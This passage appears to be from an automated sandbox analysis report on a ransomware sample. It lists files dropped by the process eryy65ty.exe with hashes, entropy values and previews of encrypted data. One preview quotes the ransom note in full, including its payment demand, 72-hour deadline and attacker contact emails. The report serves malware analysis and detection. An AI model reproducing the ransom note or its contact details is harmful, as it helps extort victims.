                                                                                                                                        SSDEEP:96:t/0nE9ZXxk1OayvCd0vWDjABrGkz03xLhc1IOgbzwNxk4snDEq36Yd2Lyz:tJXkQN0EjVS3xLhc2H/ax3soq3WLyz
                                                                                                                                        MD5:4FCE9602B5A3DF5AB5A98A29634FA12A
                                                                                                                                        SHA1:EF80B9D80B755FF7433D27AE14C8F85E82FFF552
                                                                                                                                        SHA-256:C71EFD51D036F4714A7DB4C5DB0D394BC03D1D7AF3F1BE71143DA1E8E64E7909
                                                                                                                                        SHA-512:A87D165A8FC65CBE1324C8DABACA940FDADC08D26575FB4A45C37FE520E5287C90564F8DA582A6FCAFE44EA1841C656D15B7002E1B5963402F3626EAE84000CB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.....=:T.|'.}d..dd.7.|)..;.|.\.&}..y4.._.zW..`...J..yo[P....E.S^...j....[...p..F+...DA\.!.5Z.....9$`..5......Iw;.j..S.B..7.;.........)3.........;`...*.......9....R...A.c,.......-h1.e..}8..(u]c:..,_...X...L..Bbe.....W....r!.6;'%..X.+Hm.J...u..2d.............82......p.......Z<.O..... ..w..N..nF...=..O.."n/.......h.2 .-p..d:(t..ou....0.h.u1..Ar..6....0.....? .....,.'..6....7qa..8lTO.E.....SCi.J..9..&...7..j.....k.g..........XK.v.,3......<..V..m#....C.6.dJ..O...wxu..y^C..&.l.VJi\.[..#.C..=......+r..F..;....g....s+..q.-..E.dx.:..'".{P........olQr........7.+...XQ..A.....2}..DP..........0.r....M.Xv..k.x28..L..IE.......x*;..Z...3p...>.E.B..A2..R...x2^.~?U..JFN.< ...._....T'd,.....~.xg..bQo;]....W..|....G~h.>>A....>O..*.P..^.A........=....S.c.|l.H.~.5#2.l%4O.?j.P/8....'.xE.rk..X.E..pb%U....sG..I.l.....E..*.....z...~K...U.6J.g~y.*..>.......k.....K..6..0...M.....-........Ep.X..+.}....X?..1..U.|EBBr."\.M.._]..#.$e3G....SF(.F.?]R...J.J.7...,.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):797
                                                                                                                                        Entropy (8bit):7.717430263824081
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:Z5QbrBF1Nox1CK71RdmZvopjDgJtryehC:Z5y1F1iz97BoopjM3eb
                                                                                                                                        MD5:AFF425974DDEA888442F3A0A0B4F36B4
                                                                                                                                        SHA1:3853038169701D969F48F91B89FD1BFC7B28DD07
                                                                                                                                        SHA-256:14692C2FE0FAEDC3CB2A567B5F5C511628BB67BA560BDE7772E68CB2FEA4C8C0
                                                                                                                                        SHA-512:B15E10BFC010FFD646CD027F9C034BB9738EB8754A0C4ACB24BBD11C7956341E5B80C0DABC3F91A8217EC004EAECDA776F97BD5094850F2633928E6E75F7346A
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.|.3o.....W.o.\....w..d.....G....P...).{B5;..D.ys......w.2.8`.....n.4.....q.^K....G..)..>G.X....B.D........B..........k(..V.....!v..j,U.([..0u.=.).-Bo7.[HT.{l8...k...}F.R.. ......3.....1].V...<M. .....7.-.x.?`.p..'.Ke~'DK{.=.ck.-,'qV.D...IU...?..\3./1......pooS....?O..nD.do(e......w.4. .......\....<.^..M.~.p.._..+{.793%....K.*m..wuXo=|.Sl..".d........3T%.eT...s..X.|.8.....'...i...B.$8.p.v...pn.q...s.`i..c...H".I...(...CH.g.....P....5..1...'9..._.B..(..a.7.S.>....y..ao...W*5...t.XfKy..y.&".<pwG..N,0......}.4c.H.{...kG&..P*.<.9.1..o.b..DAx..5..".N.1b'..M.%}q.nTkbm...5E.F....!.>G..o..;b...f...K.w.SO.RJ.4...&~.0.(".q.2N....7...1_O.r.X.k.?...?*..K.w...j.....)..E..w..n..A`N.z..z0...Mr...`.,v..?..xCYn........q(&.k..{.r..2.....B&.X.N$..!.2.z......i.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):797
                                                                                                                                        Entropy (8bit):7.717430263824081
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:Z5QbrBF1Nox1CK71RdmZvopjDgJtryehC:Z5y1F1iz97BoopjM3eb
                                                                                                                                        MD5:AFF425974DDEA888442F3A0A0B4F36B4
                                                                                                                                        SHA1:3853038169701D969F48F91B89FD1BFC7B28DD07
                                                                                                                                        SHA-256:14692C2FE0FAEDC3CB2A567B5F5C511628BB67BA560BDE7772E68CB2FEA4C8C0
                                                                                                                                        SHA-512:B15E10BFC010FFD646CD027F9C034BB9738EB8754A0C4ACB24BBD11C7956341E5B80C0DABC3F91A8217EC004EAECDA776F97BD5094850F2633928E6E75F7346A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.|.3o.....W.o.\....w..d.....G....P...).{B5;..D.ys......w.2.8`.....n.4.....q.^K....G..)..>G.X....B.D........B..........k(..V.....!v..j,U.([..0u.=.).-Bo7.[HT.{l8...k...}F.R.. ......3.....1].V...<M. .....7.-.x.?`.p..'.Ke~'DK{.=.ck.-,'qV.D...IU...?..\3./1......pooS....?O..nD.do(e......w.4. .......\....<.^..M.~.p.._..+{.793%....K.*m..wuXo=|.Sl..".d........3T%.eT...s..X.|.8.....'...i...B.$8.p.v...pn.q...s.`i..c...H".I...(...CH.g.....P....5..1...'9..._.B..(..a.7.S.>....y..ao...W*5...t.XfKy..y.&".<pwG..N,0......}.4c.H.{...kG&..P*.<.9.1..o.b..DAx..5..".N.1b'..M.%}q.nTkbm...5E.F....!.>G..o..;b...f...K.w.SO.RJ.4...&~.0.(".q.2N....7...1_O.r.X.k.?...?*..K.w...j.....)..E..w..n..A`N.z..z0...Mr...`.,v..?..xCYn........q(&.k..{.r..2.....B&.X.N$..!.2.z......i.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.222643406612045
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:3rGjQAYqmKhQPAQvfqrRmjbFcpZzXWymGXB5XduAuXfL7A8aaXzn:bnAYqJ24QvSIjO6vGXBJduXTjn
                                                                                                                                        MD5:7901910CFA2917C3519883A87D014607
                                                                                                                                        SHA1:55B8EF9045259F2E8E62682BFE0428FA41E9EBEE
                                                                                                                                        SHA-256:77B4F334CD279E06FFB0CBB7944EF9338BCB2DC78A752C10EAA966495BE47BBB
                                                                                                                                        SHA-512:86B2B59973B5FFE9364136E3CE6484F4A0577A0C25B2BCCE1957FA1ED89AE8E511EA788536930DE07142E9AAA55FAB3352B87224F9AE60175385DBF08420CF05
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:*.....3..?.Gu..........M.K",?eO.eN...M......yKt....B..K{...|:.f...~<h6e...."....<l........./.: ....$...}'f.?.j[(I...M.b.QF..l+.....n.1..!.(\.%...4..."..G.a...'...5...P..[.{..0.h.!..hg..`.p?....%.S)....rxK_.}t....nK.g..w...*..0.FSb.~...m.GL;CuP....q~.P......T...t....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):5676
                                                                                                                                        Entropy (8bit):7.83665239890472
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:Q9GzpVaIS8cGiO7QkCr940l+rUvh3AnZ7057Atg6jRdWqhQrs:QywISg771g+rUZ3AZ7icg6N0fs
                                                                                                                                        MD5:1FEDA85DEFB1852629FC981B750D6F2E
                                                                                                                                        SHA1:35814E85E305F267FC4949B75A0C46AA8CCB5F7A
                                                                                                                                        SHA-256:DE9656C53D49B530BB174AEDE1A5091ED9D8F7A00E8BB294C00F8E0EB8745254
                                                                                                                                        SHA-512:C7496125D46BBB0AC03BD2D59D9FB28FCB05D7B8774D18E2750BFDCDB27AE1AE16E1C03299C892E42B64408FE935D7D6F31F171C84BC9639B40719AC7A8F4C41
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.Bp.+.|.(.4.(.. ....o....N.mZ..$.YF..".u......(.........K.V.;.7..'.0......|V.-:h.A..v..)..7a.+.G.~1..B...y.3.ZuU.w......j...o........[.......;.wqg..f..>=w....Ne<....(...-.p......*u..2...`..ig$&>.-.a..W.\q4...B+bg\.2.R_...Jq...g....z...y.....|.6...o..X.6..j...>QuP4,....$.&..6......-I.@'j.r..-..%...|{~0b......v...[.....u...L..`...V.S&.J..w.......[.(.......>.%6.D[S.F.oP...0z%Jf"\&.m.b.C#r..&`H............r.,vF0Bn......ZT.Fj...y.o..;Te>..&c["...:/...3=.O. ....`d.y.O].Y....9..2.*.w..J.hP.~@}.!H.......2..S.<..q...X.z....X#.N-..\#.......$....<..%...%.H..B.....1x..T:.b;...T.......!l..3..>.`.....W..e.<.........l.....2...~.....(.@..u.D....4.^3.....5..m.;?.......%.}.+......JM..F.j..(..#G.y>..?....5.4.:{.-l.s....)....i.)99.'.v...lR...U..G.ON%U.R...d$..B........67...N....A.V....ao.X......m...yJ..P.2.m}.%....F..ty...k+...C!..=......G.<.|.9.@..Umpy.A[u.t`.Jc.E...\..N.P...W(../.!...R|.....K`..........1..<)?Y.....`.Q..uKU.L....?...^rT......T0.b.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):5676
                                                                                                                                        Entropy (8bit):7.83665239890472
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:Q9GzpVaIS8cGiO7QkCr940l+rUvh3AnZ7057Atg6jRdWqhQrs:QywISg771g+rUZ3AZ7icg6N0fs
                                                                                                                                        MD5:1FEDA85DEFB1852629FC981B750D6F2E
                                                                                                                                        SHA1:35814E85E305F267FC4949B75A0C46AA8CCB5F7A
                                                                                                                                        SHA-256:DE9656C53D49B530BB174AEDE1A5091ED9D8F7A00E8BB294C00F8E0EB8745254
                                                                                                                                        SHA-512:C7496125D46BBB0AC03BD2D59D9FB28FCB05D7B8774D18E2750BFDCDB27AE1AE16E1C03299C892E42B64408FE935D7D6F31F171C84BC9639B40719AC7A8F4C41
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.Bp.+.|.(.4.(.. ....o....N.mZ..$.YF..".u......(.........K.V.;.7..'.0......|V.-:h.A..v..)..7a.+.G.~1..B...y.3.ZuU.w......j...o........[.......;.wqg..f..>=w....Ne<....(...-.p......*u..2...`..ig$&>.-.a..W.\q4...B+bg\.2.R_...Jq...g....z...y.....|.6...o..X.6..j...>QuP4,....$.&..6......-I.@'j.r..-..%...|{~0b......v...[.....u...L..`...V.S&.J..w.......[.(.......>.%6.D[S.F.oP...0z%Jf"\&.m.b.C#r..&`H............r.,vF0Bn......ZT.Fj...y.o..;Te>..&c["...:/...3=.O. ....`d.y.O].Y....9..2.*.w..J.hP.~@}.!H.......2..S.<..q...X.z....X#.N-..\#.......$....<..%...%.H..B.....1x..T:.b;...T.......!l..3..>.`.....W..e.<.........l.....2...~.....(.@..u.D....4.^3.....5..m.;?.......%.}.+......JM..F.j..(..#G.y>..?....5.4.:{.-l.s....)....i.)99.'.v...lR...U..G.ON%U.R...d$..B........67...N....A.V....ao.X......m...yJ..P.2.m}.%....F..ty...k+...C!..=......G.<.|.9.@..Umpy.A[u.t`.Jc.E...\..N.P...W(../.!...R|.....K`..........1..<)?Y.....`.Q..uKU.L....?...^rT......T0.b.....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.258282712654508
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:vZQ+6xrrmrdX+hdQXTqnRJ/eym/YcSJ8Za31fPnLaPvZqQkSn:BQr4+h2XunRk68+hePvZqQkSn
                                                                                                                                        MD5:E325475F672B777341B831CF3CCB36A9
                                                                                                                                        SHA1:FE7C6426328FC7D507F625F42754855C82AE983D
                                                                                                                                        SHA-256:6BC4AE2C63224B56C54A6BCA84BAEEF3EA5432A6D3965D709906BC6A9EF3B3AD
                                                                                                                                        SHA-512:272027BD831095E89DA8A53C6B9EE2670EC3A323B45E688B6EAE69FBC4CF877A75C513912164AC230A5AD9CF5BFF54488CD1DC06F4A99F68672FEEA638309D74
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:>I......._.o...ons":[]}....,.8-.....c.9".W_..F.2.b......k.I...*]^...p.w.....'..2..../B..[j..zk.8.QM\......R8...,....E.)u......|..W..x7.=..].i.U...p.k..U....&....EEA.,DG.a.-`.I...c..p.W|.>._l..Q}..M.t..K%...{ib.9.......1.@'k3..P..KZ.>..8.....Zf~..B..Dkc;.r.l.F...2~0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.258282712654508
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:vZQ+6xrrmrdX+hdQXTqnRJ/eym/YcSJ8Za31fPnLaPvZqQkSn:BQr4+h2XunRk68+hePvZqQkSn
                                                                                                                                        MD5:E325475F672B777341B831CF3CCB36A9
                                                                                                                                        SHA1:FE7C6426328FC7D507F625F42754855C82AE983D
                                                                                                                                        SHA-256:6BC4AE2C63224B56C54A6BCA84BAEEF3EA5432A6D3965D709906BC6A9EF3B3AD
                                                                                                                                        SHA-512:272027BD831095E89DA8A53C6B9EE2670EC3A323B45E688B6EAE69FBC4CF877A75C513912164AC230A5AD9CF5BFF54488CD1DC06F4A99F68672FEEA638309D74
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:>I......._.o...ons":[]}....,.8-.....c.9".W_..F.2.b......k.I...*]^...p.w.....'..2..../B..[j..zk.8.QM\......R8...,....E.)u......|..W..x7.=..].i.U...p.k..U....&....EEA.,DG.a.-`.I...c..p.W|.>._l..Q}..M.t..K%...{ib.9.......1.@'k3..P..KZ.>..8.....Zf~..B..Dkc;.r.l.F...2~0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):229642
                                                                                                                                        Entropy (8bit):0.875736972770526
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:aX5+RKu9BS8Y4undVs81zkVmvQhyn+Zoz67SMMoNlu333JSN8o/LKXl5UuApE:y5+RKSSBnd39M9/C9T
                                                                                                                                        MD5:0CFD183ECE341DC6F3D7DD60B36BA57D
                                                                                                                                        SHA1:AEB388141697BE881C86F10873CFAD21F73DAC1F
                                                                                                                                        SHA-256:2775C515618BE4EEE58F09DB9F7809CF5D5CC9B8C764A9962F7CA456652BD970
                                                                                                                                        SHA-512:F984D03747626F220E9D003650450A43C8EE3C5D265D9006AE4319207D90F998844156EECB932A6147645F6746E64C3480F2D4C2A540CA61E8C5C67A1ADF5971
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.J..:.....bhRm..}.{.......K....L....+u/.N.....g..L4W.z.`.g.-...A.jO..{...[.Ap..=...U....ej.h4E.'I.#...y;...j.......t.L..........t..C.*"i..K..r.....[...*.....ry...X....=...>.....-.#...h.bP....'.XN..T.C&..p]...A..L....V..e!.x.#9l..'..`.e(~u..%...*..r.3.M..4&..6..iDm.0....-.g\..+N..........B.s...4n..G.}..C.;..V.}/..UC.....)..._.c..%6..c{.....h..$.\.b..1%.vd.f..f)../.q./.F.....q...'........n.Y~G.2..E.V..wP.r.#.b?M....^..1.zjb.......2.A.Y..B.Y.hE..5.G.;#s..s?...a.X.......*.&>...C....G....uRR}#..s.*i......5.*=^.A9.:.(.A....WA$v.m..r.....SD%..Q@.D.-X.._..^.l...4$_..s.8....2.\.M$ ...|-.L~@.;#>..I.6=.@0.'..;..l..c[..P...K...[.Us.aq.)....a.dx."..8.....[..a._.b..X|.VP.b.4r.T.d...3....u$.g...y..9ZE.@.^..V.X..P$.s....R..Y..n#_$..6.U.....W`H|.6.......\...9...a}2....aH....;.....j.... .y8....'..$.lg...s.....nn.f.u..?T.l.|~'..n^^.).....z.e.........\....E.X/.z...Tr....4.0q..kk.=%_.YS....3...<.o...^...K4...wB...w...".H.......H5%.7... . ....e.....&\..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):229642
                                                                                                                                        Entropy (8bit):0.875736972770526
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:aX5+RKu9BS8Y4undVs81zkVmvQhyn+Zoz67SMMoNlu333JSN8o/LKXl5UuApE:y5+RKSSBnd39M9/C9T
                                                                                                                                        MD5:0CFD183ECE341DC6F3D7DD60B36BA57D
                                                                                                                                        SHA1:AEB388141697BE881C86F10873CFAD21F73DAC1F
                                                                                                                                        SHA-256:2775C515618BE4EEE58F09DB9F7809CF5D5CC9B8C764A9962F7CA456652BD970
                                                                                                                                        SHA-512:F984D03747626F220E9D003650450A43C8EE3C5D265D9006AE4319207D90F998844156EECB932A6147645F6746E64C3480F2D4C2A540CA61E8C5C67A1ADF5971
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.J..:.....bhRm..}.{.......K....L....+u/.N.....g..L4W.z.`.g.-...A.jO..{...[.Ap..=...U....ej.h4E.'I.#...y;...j.......t.L..........t..C.*"i..K..r.....[...*.....ry...X....=...>.....-.#...h.bP....'.XN..T.C&..p]...A..L....V..e!.x.#9l..'..`.e(~u..%...*..r.3.M..4&..6..iDm.0....-.g\..+N..........B.s...4n..G.}..C.;..V.}/..UC.....)..._.c..%6..c{.....h..$.\.b..1%.vd.f..f)../.q./.F.....q...'........n.Y~G.2..E.V..wP.r.#.b?M....^..1.zjb.......2.A.Y..B.Y.hE..5.G.;#s..s?...a.X.......*.&>...C....G....uRR}#..s.*i......5.*=^.A9.:.(.A....WA$v.m..r.....SD%..Q@.D.-X.._..^.l...4$_..s.8....2.\.M$ ...|-.L~@.;#>..I.6=.@0.'..;..l..c[..P...K...[.Us.aq.)....a.dx."..8.....[..a._.b..X|.VP.b.4r.T.d...3....u$.g...y..9ZE.@.^..V.X..P$.s....R..Y..n#_$..6.U.....W`H|.6.......\...9...a}2....aH....;.....j.... .y8....'..$.lg...s.....nn.f.u..?T.l.|~'..n^^.).....z.e.........\....E.X/.z...Tr....4.0q..kk.=%_.YS....3...<.o...^...K4...wB...w...".H.......H5%.7... . ....e.....&\..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):466
                                                                                                                                        Entropy (8bit):7.4921685289983575
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:qfkfJ8LtiiJIwjQ8p+qLH+22mXjJoJupVE0xlYF04qQghEhf1In:ffJ8LttQ8cqnT5pVE0xOmrM6
                                                                                                                                        MD5:2C943D4C8B13FCAE6679B87A78D29DBF
                                                                                                                                        SHA1:9EADCCAB948108165BAEA7227943F689E1249719
                                                                                                                                        SHA-256:6299BD928612FA5C4CF26D9E5C1E0612E3E7F1A680BCB962402E882B61D07101
                                                                                                                                        SHA-512:886D8911DBCD68201141F2EA3C144001BEFAB7FF62A756626460BE36AB8D62BB78F25787F3E88B9471CEF985339A16C7051799AA0B019576815F4BA8DECD33EB
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.... .mY....&{M.J.V..t..AS..dQ...8.#.7'.O..!r|.N....7X....d.(."..]DD......*........N.Rt.E7...i^R$w...'Dh......$n)..T.._t.x.Y.*.5..V.pT)j....,0.D........pv.C.....P.R..U.h.&\b..[.......R@.rowser.....~Zp.f...`...1.{.....'.....w:<.Z....)...DK......E$[..sw.P..-.....29..'P..Wr./P..A.)*.d......!........8.l.G`.....w<.J.P f..#Q.J.~.!....B$.T...../6..c.x.n[......Y`...<.[.j.....b...*.6.]3..R. /..$..#...b@.$..ro.NV..^4.).ipAW..a.}..|...g^...@%_...].0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):466
                                                                                                                                        Entropy (8bit):7.4921685289983575
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:qfkfJ8LtiiJIwjQ8p+qLH+22mXjJoJupVE0xlYF04qQghEhf1In:ffJ8LttQ8cqnT5pVE0xOmrM6
                                                                                                                                        MD5:2C943D4C8B13FCAE6679B87A78D29DBF
                                                                                                                                        SHA1:9EADCCAB948108165BAEA7227943F689E1249719
                                                                                                                                        SHA-256:6299BD928612FA5C4CF26D9E5C1E0612E3E7F1A680BCB962402E882B61D07101
                                                                                                                                        SHA-512:886D8911DBCD68201141F2EA3C144001BEFAB7FF62A756626460BE36AB8D62BB78F25787F3E88B9471CEF985339A16C7051799AA0B019576815F4BA8DECD33EB
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.... .mY....&{M.J.V..t..AS..dQ...8.#.7'.O..!r|.N....7X....d.(."..]DD......*........N.Rt.E7...i^R$w...'Dh......$n)..T.._t.x.Y.*.5..V.pT)j....,0.D........pv.C.....P.R..U.h.&\b..[.......R@.rowser.....~Zp.f...`...1.{.....'.....w:<.Z....)...DK......E$[..sw.P..-.....29..'P..Wr./P..A.)*.d......!........8.l.G`.....w<.J.P f..#Q.J.~.!....B$.T...../6..c.x.n[......Y`...<.[.j.....b...*.6.]3..R. /..$..#...b@.$..ro.NV..^4.).ipAW..a.}..|...g^...@%_...].0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1141
                                                                                                                                        Entropy (8bit):7.825227260942844
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:XHZQElHU7tod9CSDbbMEZJFrWuR3qCNbxo0py/ZnEpPXd:XtHoWd9h3bMEZJFKYtNbxo0py/ZEpfd
                                                                                                                                        MD5:E29E412D5A6F749018774F1B1FBF8898
                                                                                                                                        SHA1:F84B310B1F56838E0032EAD7841FE0011FDA9E37
                                                                                                                                        SHA-256:C351529278631BF588282C075D8BF9EC92AEA74DDE8BD26B998B68DBD7A3B6EC
                                                                                                                                        SHA-512:69D45C5C1D678EFD14ACA04F9CF3C1F4609852623A5BECD0A09040AA41260B6951E85E9212476D7928D1149494509A0C1B65332E6E404D65C26CB202DD28663A
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...`..E..B.+.w...IZ...D...&i._..D.|?........."...+5X{.......t.R. 7k.....s-.....a._...jO.u..kS.s......../..G..}..u.... ....P\...n.c&(G..Lv..}..*<W>...R.-.7j...c..._/mT.}.!.3....^H.._{..+}.a......z/jt......_..5..+....L.6..#..m....3..6.Oc.T.T..C.....m. ..../.$iI$.;v.N.7p..|....5<........'[<.....A.....X..E....m..[....L.....W..&.z4,...V.H.......,..........?e..&w`(9;.....R.n.&c........>...uA.^`.i..".?`>LX{.....=.z&_.Sw..i...e.M?c.aM.$.4.....]V.Q....m.T..3t....t.1...z.re.E.O(..O...I...E..D.]*.J..X.g-......O.w..8...w..?...~z`....8\.....<....i.r.iy..D.....#.......|.I.%..H..[P._.....d.Me.V.>D.)...1...%.G..w.i.i.xP.frs.....h6..EQDS..,}.q.kdB..j....|".|.A..X.......H.^......(.....V\8./F`t........2.*.M.WO#q.....<.e.'.]...n.....=....t....c.?..%4g.<;B...(....*}......`..><........"R.....WP..\f..%..=..p+..l8+VB..]....T.c.....<.sKey":""}]}{...c....:....P.i...:.H...3Kq..(6..+...8.di. .~.CK.LR.o<F..U0M.ARt]..i.g(.X..<*$z.4F.SY..4...\...e?%Iq.]'.h.CrO.$..@.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1141
                                                                                                                                        Entropy (8bit):7.825227260942844
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:XHZQElHU7tod9CSDbbMEZJFrWuR3qCNbxo0py/ZnEpPXd:XtHoWd9h3bMEZJFKYtNbxo0py/ZEpfd
                                                                                                                                        MD5:E29E412D5A6F749018774F1B1FBF8898
                                                                                                                                        SHA1:F84B310B1F56838E0032EAD7841FE0011FDA9E37
                                                                                                                                        SHA-256:C351529278631BF588282C075D8BF9EC92AEA74DDE8BD26B998B68DBD7A3B6EC
                                                                                                                                        SHA-512:69D45C5C1D678EFD14ACA04F9CF3C1F4609852623A5BECD0A09040AA41260B6951E85E9212476D7928D1149494509A0C1B65332E6E404D65C26CB202DD28663A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...`..E..B.+.w...IZ...D...&i._..D.|?........."...+5X{.......t.R. 7k.....s-.....a._...jO.u..kS.s......../..G..}..u.... ....P\...n.c&(G..Lv..}..*<W>...R.-.7j...c..._/mT.}.!.3....^H.._{..+}.a......z/jt......_..5..+....L.6..#..m....3..6.Oc.T.T..C.....m. ..../.$iI$.;v.N.7p..|....5<........'[<.....A.....X..E....m..[....L.....W..&.z4,...V.H.......,..........?e..&w`(9;.....R.n.&c........>...uA.^`.i..".?`>LX{.....=.z&_.Sw..i...e.M?c.aM.$.4.....]V.Q....m.T..3t....t.1...z.re.E.O(..O...I...E..D.]*.J..X.g-......O.w..8...w..?...~z`....8\.....<....i.r.iy..D.....#.......|.I.%..H..[P._.....d.Me.V.>D.)...1...%.G..w.i.i.xP.frs.....h6..EQDS..,}.q.kdB..j....|".|.A..X.......H.^......(.....V\8./F`t........2.*.M.WO#q.....<.e.'.]...n.....=....t....c.?..%4g.<;B...(....*}......`..><........"R.....WP..\f..%..=..p+..l8+VB..]....T.c.....<.sKey":""}]}{...c....:....P.i...:.H...3Kq..(6..+...8.di. .~.CK.LR.o<F..U0M.ARt]..i.g(.X..<*$z.4F.SY..4...\...e?%Iq.]'.h.CrO.$..@.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):262410
                                                                                                                                        Entropy (8bit):0.2938330833031108
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:OEyIMKVeGJGBskxgf2SvtEy/7k51BrWZC5YvnMOL281aCeedtMgl+9bFt:6GQqkx22SFT7C1oZCsMW2MaCeITSn
                                                                                                                                        MD5:0D4217D4751AE8232F49CA215074DC81
                                                                                                                                        SHA1:8432B1EECC652F02971723298C9F690BBA70438B
                                                                                                                                        SHA-256:1FB12057B8869AA7E2B1D29998D3CE01713F93005BDD48F2594C7ADB999869DF
                                                                                                                                        SHA-512:6714C0AAF83FF79EEA850C26C70E5F68636BCCBC6F0F0A590EAE2F841369ED2F76DB39437C4F4E2748853824070CD78F1C15D923BB601529CE60C42E2142501C
                                                                                                                                        Malicious:true
